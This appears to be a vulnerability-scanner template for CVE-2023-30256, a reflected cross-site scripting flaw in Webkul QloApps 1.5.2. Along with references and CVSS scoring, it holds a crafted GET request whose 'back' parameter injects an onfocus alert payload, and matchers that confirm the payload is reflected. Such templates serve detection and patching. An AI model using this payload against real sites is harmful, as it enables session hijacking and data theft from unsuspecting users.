CVE-2023-30256: Webkul QloApps 1.5.2 - Cross-site Scripting

id: CVE-2023-30256

info:
  name: Webkul QloApps 1.5.2 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cross Site Scripting vulnerability found in Webkil QloApps v.1.5.2 allows a remote attacker to obtain sensitive information via the back and email_create parameters in the AuthController.php file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/webkul/hotelcommerce
    - http://packetstormsecurity.com/files/172542/Webkul-Qloapps-1.5.2-Cross-Site-Scripting.html
    - https://github.com/ahrixia/CVE-2023-30256
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30256
    - https://qloapps.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-30256
    cwe-id: CWE-79
    epss-score: 0.6957
    epss-percentile: 0.98614
    cpe: cpe:2.3:a:webkul:qloapps:1.5.2:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: webkul
    product: qloapps
    fofa-query: title="qloapps"
  tags: cve2023,cve,packetstorm,xss,webkul-qloapps,unauth,webkul

http:
  - method: GET
    path:
      - "{{BaseURL}}/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "xss onfocus=alert(document.domain) autofocus= xss"
          - "hasConfirmation"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
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